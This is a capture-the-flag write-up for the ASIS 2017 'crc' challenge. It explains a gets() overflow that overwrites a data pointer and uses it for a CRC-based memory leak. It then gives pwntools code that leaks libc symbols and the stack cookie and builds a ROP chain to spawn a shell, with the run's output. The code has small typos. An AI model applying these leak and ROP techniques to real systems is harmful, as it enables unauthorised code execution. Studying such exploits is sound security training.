ASIS 2017 Quals CRC
10 Apr 2017This is a write-up of the challenge crc from ASIS Quals 2017 CTF
The challenge
The challenge is a 32-bits binary, which can calculate the crc32 of data we send it.
The challenge has stack cookies.
**********WELCOME TO THE CRC32 CALCULATOR**********
------------------------
1) Calculate a CRC
2) Exit
------------------------
Choice:
The Solution
The challenge boils down to the following;
char buf[100];
char *buf_ptr = &buf;
unsigned int size;
...
while(True){
size = get_userinput_number()
if(size > 99){ too much data }
gets(buf);
calcCrc(buf_ptr, size);
}
So the problem is that the gets
can overwrite the pointer buf_ptr
,
and so give us the crc32 of any byes in the memory.
This obviously leads to a memory leak.
Reliable memory leak
from pwn import *
reverse_crc = {crc.crc_32(p8(i)): p8(i) for i in range(2**8)}
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
@MemLeak
def leak(addr):
if "\n" in p32(addr): return ""
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("1")
#Please send me 1 bytes to process:
r.sendline("A"*100 + p32(addr))
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc]
This leak is not good enough because the address from which we are leaking must not contain newlines. However it demonstrates the vulnerability quite well.
We can fix the problem with most of the newlines if we simple leak 2 bytes instead and do a little workaround address with newlines:
from pwn import *
reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
@MemLeak
def leak(addr):
f = 0
if p32(addr)[0] == "\n":
log.info("Leaking from address with newline... Fixing"
f = 1
addr -= 1
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("2")
#Please send me 2 bytes to process:
r.sendline("A"*100 + p32(addr))
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc][f:]
Exploitation
Now we can simply use the pwntools pointer chasing magic module DynELF
to leak symbols from libc:
e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
d = DynELF(leak, elf=e)
system = d.lookup("system", lib="libc.so")
log.info("system = 0x%x", system)
This gives us the address of system
. Next thing we can do is find our buffer on the stack, leak the cookie.
environ = d.lookup("environ", lib="libc.so")
log.info("environ = 0x%x", environ)
stack = leak.d(environ)
for i in range(0x400):
if leak.d(stack-i) == 0x41414141: break
stack = stack - i
log.info("stack = 0x%x", stack)
cookie = leak.d(stack+8)
log.info("cookie = 0x%x", cookie)
Then if we put /bin/sh\x00
in the buffer we overflow we can even find it at binsh = stack-100+4
and finally we can exploit the function get_userinput_number
because it uses gets
and ROP to win:
rop = flat(["A"*40, cookie, "B"*12, system, 0x41414141, binsh])
assert "\n" not in rop
r.sendline(rop)
r.sendline("echo SHELL")
r.recvuntil("SHELL\n")
r.interactive()
Final exploit
$ python doit.py
[+] Calculating CRC reverse lookup table: Done
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': Done
[+] Loading from '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': 0xf7792930
[+] Resolving 'system' in 'libc.so': 0xf7792930
[!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.
[*] system = 0xf75de3e0
[+] Resolving 'environ' in 'libc.so': 0xf774ade0
[*] environ = 0xf774ade0
[*] stack = 0xffb67624
[*] cookie = 0xf92ee300
[*] Switching to interactive mode
$ cowsay "I got shell"
_____________
< I got shell >
-------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
$